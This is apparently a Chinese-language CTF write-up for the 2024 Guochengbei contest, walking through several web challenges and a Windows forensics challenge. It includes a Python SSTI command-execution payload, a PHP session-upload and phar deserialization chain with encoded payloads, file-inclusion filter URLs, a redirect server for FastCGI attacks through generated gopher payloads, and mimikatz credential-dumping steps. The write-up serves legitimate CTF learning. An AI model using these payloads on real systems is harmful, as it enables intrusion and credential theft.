24国城杯
2024国城杯
1Easy Jelly
java欠着
2Ez_Gallery
账号admin;密码123456;直接爆也行,验证码可以重复用
存在文件包含,不知道flag在哪
info?file=/proc/self/cmdline发现题目app.py;然后去读取题目源码
源码的shell路由是个ssti攻击点
黑名单
1 | blacklist_patterns = [r'.*length.*',r'.*count.*',r'.*[0- |
1 | session_factory = SignedCookieSessionFactory('secret_key') |
根据这里config被当作局部变量👆
1 | {{cycler['__init__']['__globals__']['__builtins__']['exec']("getattr(request,'add_response_callback')(lambda request,response:setattr(response, 'text', getattr(getattr(__import__('os'),'popen')('whoami'),'read')()))",{'request':request})}} |
3n0ob_un4er
提示
1 | Please take me back to the golden age of PHP😭. |
题目源码
1 | <?php |
做法一
编码命令
1 | cat test.phar | base64 -w0 | python3 -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())" |
cat test.phar | base64 -w0
会将test.phar
文件的内容转换为 Base64 编码,并输出为一个单行字符串。python3 -c "..."
:这是一个在命令行中执行的 Python 代码。import sys
:导入 Python 的sys
模块,通常用于访问标准输入、输出和错误。sys.stdin.read()
:从标准输入(此处为通过管道传递的 Base64 编码内容)读取所有内容。for i in sys.stdin.read()
:对于从标准输入读取的每个字符,执行以下操作:ord(i)
:获取字符i
的 Unicode 编码值(即字符的整数表示)。hex(ord(i))[2:]
:将字符的 Unicode 编码值转换为十六进制表示,并去掉0x
前缀。=' + hex(ord(i))[2:] + '=00'
:为每个字符的十六进制值添加=
前缀和=00
后缀。''.join([...])
:将所有字符生成的字符串拼接在一起。upper()
:将整个拼接后的字符串转换为大写字母。
让gpt把他换成python脚本
1 | import base64 |
编码结果加上14个A;凑够3的3次方的整数倍数;让编码结果没有等于号
1 | =50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=70=00=74=00=41=00=41=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=33=00=41=00=41=00=41=00=41=00=54=00=7A=00=6F=00=31=00=4F=00=69=00=4A=00=42=00=5A=00=47=00=31=00=70=00=62=00=69=00=49=00=36=00=4D=00=54=00=70=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=52=00=6C=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=49=00=77=00=4F=00=69=00=4A=00=7A=00=65=00=58=00=4E=00=30=00=5A=00=57=00=30=00=6F=00=4A=00=79=00=39=00=79=00=5A=00=57=00=46=00=6B=00=5A=00=6D=00=78=00=68=00=5A=00=79=00=63=00=70=00=4F=00=79=00=49=00=37=00=66=00=51=00=67=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=4C=00=6E=00=52=00=34=00=64=00=41=00=51=00=41=00=41=00=41=00=44=00=49=00=69=00=31=00=5A=00=6E=00=42=00=41=00=41=00=41=00=41=00=41=00=78=00=2B=00=66=00=39=00=69=00=32=00=41=00=51=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=54=00=4A=00=78=00=55=00=70=00=50=00=31=00=42=00=38=00=55=00=72=00=53=00=4C=00=65=00=57=00=78=00=57=00=39=00=65=00=4A=00=34=00=35=00=62=00=51=00=2F=00=49=00=30=00=58=00=6A=00=67=00=2F=00=49=00=7A=00=57=00=4E=00=6E=00=59=00=73=008=00=6A=00=67=00=2F=00=49=00=7A=00=57=00=4E=00=6E=00=59=00=73=00=63=00=37=00=2B=00=5A=00=74=00=41=00=4D=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00AAAAAAAAAAAAAA |
copy文件
1 | ?filename=php://filter/read=php://filter/read=convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/tmp/sess_litsasuk |
1 | Quoted-Printable 是一种编码方式,常用于在电子邮件等传输中将字节流编码为可打印的 ASCII 字符。如果数据包含了类似邮件正文的内容,它可能会用这种方式对数据进行编码。 |
读文件触发phar反序列化
1 | ?filename=phar:///tmp/tmp.tmp/test.txt |
做法二
垃圾数据处理这块方法不一样
垃圾处理
用<尖括号结合过滤器去掉后边的数据
1 | php://filter/read=string.strip_tags/resource=sess_121 |
前面的垃圾数据可以结合 php 的 base64 解码松散性绕过(非 base64 字符忽视)。
发送数据
法一;html表单发送
1 | <!doctype html> |
法二;curl发送
1 | curl http://127.0.0.1:8001/ -H 'Cookie: PHPSESSID=litsasuk' -F 'PHP_SESSION_UPLOAD_PROGRESS=[Your_data]' -F 'file=@/etc/passwd' |
萌新版本地环境配置
1.在windows上创建phar对象失败
先看看php -i | findstr phar.readonly 是不是为Off;我显示的就是On,在php.ini里面修改它(去掉前面的;注释,然后ON换成Off);
1 | 这意味着 PHP 不再禁止创建或修改 Phar 文件。 |
找到php.ini文件,没有的话就从php.ini-development
或 php.ini-production
文件挑一个复制下来
修改php.ini里面的内容
可见在左侧出现test.phar文件
2.服务器上session的配置
当你想在服务器上配置这个题目环境的时候,可能会遇到的一些问题,这里给出整理
- session.auto_start
- 自动初始化Session,不再需要执行session_start()。但默认情况下,也是通常情况下,这个选项都是默认关闭的。
- session.upload_progress.enabled = on
- 默认开启这个选项,表示
upload_progress
功能正常使用
- 默认开启这个选项,表示
- session.upload_progress.cleanup = on这个特别重要,条件竞争就是竞争这个
- 默认开启这个选项,表示当文件上传结束后,php将会立即清空对应session文件中的内容。
- session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
- 当一个文件上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时(这部分数据用户可控),上传进度可以在SESSION中获得。当PHP检测到这种POST请求时,它会在SESSION中添加一组数据(系统自动初始化session), 索引是session.upload_progress.prefix与session.upload_progress.name连接在一起的值。
session.upload_progress
特性PHPSESSID
是会话 ID:它与会话文件生成相关,通常是由 PHP 自动处理的。当浏览器第一次访问 PHP 页面时,会自动生成PHPSESSID
并在服务器端创建会话文件(如sess_123
)。session.upload_progress
特性:与文件上传进度相关。如果启用,该功能会将上传进度信息存储在会话中,存储的进度信息也会保存在会话文件中,但它不会影响PHPSESSID
的生成。- 会话文件的生成:只要 PHP 启动了会话(即调用
session_start()
),会话文件就会生成。如果启用了上传进度,相关数据会存储在该会话文件中。
- session.save_path
- session文件的上传目录
- 1
1 | find / -name "php.ini" |
修改完之后重启一下
1 | service nginx restart |
看看改没改成功
1 | php -i | grep session.upload_progress.cleanup |
修改php.ini之后重启nginx服务和不好使
但是phpinfo上面显示的是已经修改成功了
也是可以了;实在不行就重启服务器(但是重启服务器之前,要把/tmp和/var/tmp里面的需要的文件拷贝出来,重启服务器会清空)
👆这个错了,没在加密的后边加上去ZZ 然后换成那个数据就行
本地尝试
1 | =50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=70=00=6F=00=41=00=41=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=79=00=41=00=41=00=41=00=41=00=54=00=7A=00=6F=00=31=00=4F=00=69=00=4A=00=42=00=5A=00=47=00=31=00=70=00=62=00=69=00=49=00=36=00=4D=00=54=00=70=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=52=00=6C=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=45=00=31=00=4F=00=69=00=4A=00=7A=00=65=00=58=00=4E=00=30=00=5A=00=57=00=30=00=6F=00=4A=00=32=00=78=00=7A=00=49=00=43=00=38=00=6E=00=4B=00=54=00=73=00=69=00=4F=00=33=00=30=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=52=00=4D=00=4E=00=57=00=5A=00=77=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=74=00=67=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=62=00=38=00=70=00=45=00=64=00=41=00=37=00=49=00=74=00=59=00=41=00=6A=00=35=00=37=00=31=00=78=00=30=00=65=00=51=00=4E=00=74=00=65=00=4C=00=52=00=2B=00=68=00=33=00=58=00=33=00=56=00=2F=00=50=00=53=00=34=00=64=00=4D=00=5A=00=42=00=78=00=69=00=61=00=32=00=77=00=44=00=41=00=41=00=41=00=41=00=52=00=30=00=4A=00=4E=00=51=00=67=00=3D=00=3D=00AAAAAAAAAAAAAAAAAAAAA |
system(‘ls /‘);
我再弄一下,上边的没加上去ZZ来抵消上边的数据
1 | ZZVUZSVmQxQlVRWGRRVkZFd1VGUkJkMUJVVFRWUVZFRjNVRlJqTTFCVVFYZFFWRmw0VUZSQmQxQlVVVFJRVkVGM1VGUlJlRkJVUVhkUVZGa3pVRlJCZDFCVVZUUlFWRUYzVUZSTmVGQlVRWGRRVkUwMVVGUkJkMUJVVVRWUVZFRjNVRlJWZUZCVVFYZFFWRlV4VUZSQmQxQlVZelJRVkVGM1VGUlZNVkJVUVhkUVZGVTBVRlJCZDFCVVRYZFFWRUYzVUZSU1JsQlVRWGRRVkZWM1VGUkJkMUJVVlRCUVZFRjNVRlJWTWxCVVFYZFFWRkY1VUZSQmQxQlVVa0pRVkVGM1VGUlZNRkJVUVhkUVZGRXhVRlJCZDFCVVZUSlFWRUYzVUZSVmVsQlVRWGRRVkZKRFVGUkJkMUJVVVhwUVZFRjNVRlJhUTFCVVFYZFFWRTB6VUZSQmQxQlVVVFZRVkVGM1VGUlJNRkJVUVhkUVZFMDBVRlJCZDFCVVNrTlFWRUYzVUZSUk1GQlVRWGRRVkZWNFVGUkJkMUJVWTNkUVZFRjNVRlJhUTFCVVFYZFFWRkY0VUZSQmQxQlVVWGhRVkVGM1VGUlJlRkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSVmVGQlVRWGRRVkZGNFVGUkJkMUJVVVhoUVZFRjNVRlJSZUZCVVFYZFFWRkY1VUZSQmQxQlVVVEZRVkVGM1VGUlJlRkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSUmVGQlVRWGRRVkZGNVVGUkJkMUJVVVhoUVZFRjNVRlJSZUZCVVFYZFFWRkY0VUZSQmQxQlVVWGhRVkVGM1VGUlJlRkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSak1WQlVRWGRRVkZGNFVGUkJkMUJVVVhoUVZFRjNVRlJSZUZCVVFYZFFWRkY0VUZSQmQxQlVWVEJRVkVGM1VGUmtRbEJVUVhkUVZGcEhVRlJCZDFCVVRYaFFWRUYzVUZSU1IxQlVRWGRRVkZrMVVGUkJkMUJVVWtKUVZFRjNVRlJSZVZCVVFYZFFWRlpDVUZSQmQxQlVVVE5RVkVGM1VGUk5lRkJVUVhkUVZHTjNVRlJCZDFCVVdYbFFWRUYzVUZSWk5WQlVRWGRRVkZFMVVGUkJkMUJVVFRKUVZFRjNVRlJTUlZCVVFYZFFWRlV3VUZSQmQxQlVZM2RRVkVGM1VGUk5NMUJVUVhkUVZGbDZVRlJCZDFCVVpFSlFWRUYzVUZSYVIxQlVRWGRRVkUxM1VGUkJkMUJVVWtkUVZFRjNVRlJaTlZCVVFYZFFWRkpDVUZSQmQxQlVXa0pRVkVGM1VGUlplVkJVUVhkUVZFMTVVRlJCZDFCVVZYbFFWRUYzVUZSYVJGQlVRWGRRVkZFMVVGUkJkMUJVV2tKUVZFRjNVRlJqTUZCVVFYZFFWR1JDVUZSQmQxQlVVa2RRVkVGM1VGUmFRbEJVUVhkUVZGRXhVRlJCZDFCVVl6UlFWRUYzVUZSU1IxQlVRWGRRVkZrMVVGUkJkMUJVVWtKUVZFRjNVRlJhUkZCVVFYZFFWRlUxVUZSQmQxQlVUWGxRVkVGM1VGUlpORkJVUVhkUVZHTXlVRlJCZDFCVVVUVlFWRUYzVUZSUmVsQlVRWGRRVkZFMVVGUkJkMUJVWXpSUVZFRjNVRlJTUlZCVVFYZFFWRnBDVUZSQmQxQlVVa1ZRVkVGM1VGUlpOVkJVUVhkUVZGSkhVRlJCZDFCVVl6VlFWRUYzVUZSUk5WQlVRWGRRVkUwelVGUkJkMUJVV1RKUVZFRjNVRlJWZUZCVVFYZFFWRmt6VUZSQmQxQlVVWGhRVkVGM1VGUlJlRkJVUVhkUVZGRjRVRlJCZDFCVVVYbFFWRUYzVUZSTmQxQlVRWGRRVkZaQ1VGUkJkMUJVVlRSUVZFRjNVRlJTUmxCVVFYZFFWRTEzVUZSQmQxQlVVa1JRVkVGM1VGUmFSbEJVUVhkUVZGVjVVRlJCZDFCVVRUQlFWRUYzVUZSWk1GQlVRWGRRVkZGNFVGUkJkMUJVVlhoUVZFRjNVRlJSZUZCVVFYZFFWRkY0VUZSQmQxQlVVWGhRVkVGM1VGUlJlRkJVUVhkUVZGcEZVRlJCZDFCVVNrTlFWRUYzVUZSUk1sQlVRWGRRVkZrd1VGUkJkMUJVV2taUVZFRjNVRlJSZVZCVVFYZFFWRkY0VUZSQmQxQlVVWGhRVkVGM1VGUlJlRkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSak5GQlVRWGRRVkVwRFVGUkJkMUJVV1RKUVZFRjNVRlJOTlZCVVFYZFFWRmsxVUZSQmQxQlVUWGxRVkVGM1VGUlJlRkJVUVhkUVZGVjRVRlJCZDFCVVVYaFFWRUYzVUZSUmVGQlVRWGRRVkZGNFVGUkJkMUJVVVhoUVZFRjNVRlJSZUZCVVFYZFFWRkY0VUZSQmQxQlVVWGhRVkVGM1VGUlJORkJVUVhkUVZGVjVVRlJCZDFCVVdrUlFWRUYzVUZSWmVsQlVRWGRRVkUxNlVGUkJkMUJVVlhwUVZFRjNVRlJWTWxCVVFYZFFWRmt5VUZSQmQxQlVWWGRRVkVGM1VGUmFSMUJVUVhkUVZFMHhVRlJCZDFCVVdrVlFWRUYzVUZSUmVGQlVRWGRRVkdONlVGUkJkMUJVVFRCUVZFRjNVRlJaTWxCVVFYZFFWRmw1VUZSQmQxQlVWWGRRVkVGM1VGUlplRkJVUVhkUVZHTXdVRlJCZDFCVVVUVlFWRUYzVUZSU1JWQlVRWGRRVkZWNlVGUkJkMUJVV1RGUVZFRjNVRlJWTlZCVVFYZFFWRmswVUZSQmQxQlVXa05RVkVGM1VGUlJNVkJVUVhkUVZGVTFVRlJCZDFCVVVrZFFWRUYzVUZSUk1WQlVRWGRRVkZVeVVGUkJkMUJVWXpSUVZFRjNVRlJhUlZCVVFYZFFWRlV3VUZSQmQxQlVVa0pRVkVGM1VGUmFSVkJVUVhkUVZGVXpVRlJCZDFCVVZURlFWRUYzVUZSUk1WQlVRWGRRVkVwSFVGUkJkMUJVV2tKUVZFRjNVRlJSZUZCVVFYZFFWRlV3VUZSQmQxQlVXVEJRVkVGM1VGUk5kMUJVUVhkUVZFMTNVRlJCZDFCVVRUSlFWRUYzVUZSWk0xQlVRWGRRVkZKRlVGUkJkMUJVVVhoUVZFRjNVRlJSZUZCVVFYZFFWRkY0VUZSQmQxQlVVWGxRVkVGM1VGUlJORkJVUVhkUVZGVjRVRlJCZDFCVVdrTlFWRUYzVUZSTmVGQlVRWGRRVkZGNlVGUkJkMUZWUmtKUlZVWkNVVlZHUWxGVlJrSlJWVVpD |
如果要去除后边的数据
在base编码后的数据加上去<;然后加个过滤器
他有的时候不好使,多试试几遍就行了
如果要去掉后边的数据用再加个过滤器;然后文本内容后边加个<;但没必要
1 | php://filter/read=string.strip_tags/resource=session |
然后做就行了
4signal
disearch扫出swp文件泄露,下载出来;admin.php还有个302
一眼文件包含👇
考的是双url编码
1 | /guest.php?path=php://filter/%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=admin.php |
审计admin.php
1 | $ch = curl_init(); |
登陆界面网页源代码有个StoredAccounts.php;读取获得管理员账号密码
登录之后根据admin.php的代码打302跳转(题目提示cgi?)
内网穿透NGROK
利用NGROK将本地网站发布为一个公开网站,注册,然后跟着命令走就行,出现这个页面就可以了
开启http服务
1 | from flask import Flask, redirect |
打fastcgi,这里直接用Gopherus工具来生成payload:
然后修改web页面为
拿到shell
给提示了,应该是/root里面有flag
什么是fastcgi
我简单描述以下就是
- CGI(Common Gateway Interface)全称是“通用网关接口”,是一种让客户端(web浏览器)与Web服务器(nginx等)程序进行通信(数据传输)的协议。
- FastCGI(Fast Common Gateway Interface)全称是“快速通用网关接口”是通用网关接口(CGI)的增强版本,由CGI发展改进而来,主要用来提高CGI程序性能,类似于CGI,FastCGI也是一种让交互程序与Web服务器通信的协议
在自己服务器phpinfo里面可以看到启用的是否为fastcgi
PHP-FPM(FastCGI Process Manager)
cgi.fix_pathinfo
设置为 On 可能会增加服务器受到某些类型攻击的风险;那么它可能会被恶意利用来执行非 PHP 文件作为 PHP 脚本,这通常被称为 FastCGI 攻击或 PHP 路径信息泄露漏洞。- 但这道题跟这个没关,直接打就行
misc
Just_F0r3n51C
提示
1 | flag被分为4份藏在了这台计算机中,从哪入手呢?先从beginning开始吧(压缩包解压密码:Rca@(@b2&b-9^6de*32(A,附件MD5值为:0f3df40c8ec0599e2f88fdd5a81023f2) |
1段
在桌面发现beginning.pcapng; 下载下来打开是OICQ(QQ)的流量包;里面有个图片
放010上看到有块特殊的
猜测加密的数据是oursecret隐写了(东坡的爆毒,但我还是下载了),用 D0g3xGC 解密得到hidden.txt
1 | ECB's key is |
然后OICQ上边有qq号,进去
1 | 我差不多就是这种小猫咪,表面上单纯天真,实际上圆滑通透。你不可能算计得了本喵,因为从一开始你就被本喵布局了。本喵是棋手,而你只是棋子,若你违逆本喵,你会知道什么是残酷和黑暗。本喵从来不缺雷霆手段也不缺菩萨心肠,本喵心中有佛喵喵也有魔喵喵,但我把魔喵喵深深的封印起来了,只剩下佛喵喵了,我本想以菩萨喵喵心肠面对所有人,可是有些人非要我把心中的魔喵喵解除封印,那我想问问你们,当你们面对一个真正的魔喵喵现世,你们还镇的住吗? |
2段
查看环境变量,注册表下看,注册表在 C:\Windows\System32\config 目录下,查看 SYSTEM\CurrentControlSet001\Control\Session Manager\Environment 的键值对,发现 u_can_get_flag2_here
hex开头是504B0304 是压缩包
2.1段计算机注册时设置的用户名
注册表取证,注册表文件在 C:\Windows\System32\Config 目录下 第一个答案是注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion中 的 RegisteredOwner 的键值 D0g3xGC
2.2当前操作系统的产品名称
跟删一个图片在一块
第二个答案是注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion中 的 ProductName 的键值 Windows_7_Ultimate
2.3计算机当前安装的 Mozilla Firefox 浏览器的版本号
第三个答案是注册表HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox中的CurrentVersion 的值 115.0
故最终压缩包密码为 D0g3xGC_Windows_7_Ultimate_115.0 ,得到密文
1 | #@~^HAAAAA==W^lLyPb/P@#@&4*.2{W!!x[mFC&|0AcAAA==^#~@ |
是vbe的格式,改下后缀拿到:https://master.ayra.ch/vbs/vbs.aspx,解密得到flag2
flag2 is
h4V3_f0und_7H3_
3段
自动分析出加密的东西
进去那个目录有个压缩包,还有个另外的图片;
搜了一下CatWatermark,找到项目:https://github.com/Konano/CatWatermark,有加密和解密脚 本,根据解密脚本所需参数猜测zip中是原图,666就是其三个私钥参数,将其都提取出来,发现zip注释
1 | 1、计算机用户D0g3xGC登录时的密码(答案格式:a123456+) |
3.1用户登录密码
提取出(/Windows/System32/config)中的 SYSTEM 和 SAM 文件,再用mimikatz提 取哈希
1 | 备忘C:\Users\LEGION\Desktop\桌面\天下\误开\mimikatz-master\mimikatz |
1 | privilege::debug //进入特权模式 |
拿hash值去解密;得到密码qwe123!@#
1 | https://www.cmd5.com/ |
3.2登录otterctf网站时的密码
1 | 第二个是火狐的一个取证(结果发现貌似axiom能直接梭),要找到key4.db和login.json,可以在 C:\Users\D0g3xGA\AppData\Roaming\Mozilla\Firefox\Profiles\414u1hob.default-release 目录下找到,提取出来再用firewd解密即可 |
路径 C:\Users\D0g3xGA\AppData\Roaming\Mozilla\Firefox\Profiles\414u1hob.default-release
是 Mozilla Firefox 浏览器 的 用户配置文件目录。下面是对该路径的详细解释:
路径解析:
C:\Users\D0g3xGA\
: 这是 Windows 系统中用户的个人文件夹,D0g3xGA
是当前用户的用户名。AppData\Roaming\
:AppData
是存储应用程序配置和数据的隐藏文件夹,其中Roaming
文件夹包含了可以在网络中多个计算机间同步的配置文件和数据。通常,程序会将用户的配置文件存放在这里。Mozilla\Firefox\Profiles\
: 这个文件夹是 Firefox 浏览器的配置文件存储位置。每个用户的 Firefox 都有一个独立的配置文件,用于存储该用户的浏览数据、设置和插件等。414u1hob.default-release
: 这是 Firefox 为用户创建的一个 配置文件夹,其中414u1hob.default-release
是配置文件的唯一标识符(由 Firefox 自动生成的随机字符串)。default-release
表示这是用户的默认配置文件。
用firepwd解出密码Y0u_f1Nd^_^m3_233
然后用CatWatermark弄出新图
python3 decode.py ../Desktop/667.png ../Desktop/666.png out.png 6 6 6
4段
pyinstxtractor解压包里面python压的exe包,
找到enc_png.pyc文件,用在线pyc反编译网站反编译这个 pyc文件得到python代码
1 | https://www.lddgo.net/string/pyc-compile-decompile |
根据加密代码写出解密脚本,key已经给出了。让gpt写也行,代码如下
1 | def xor_decrypt(data, key): |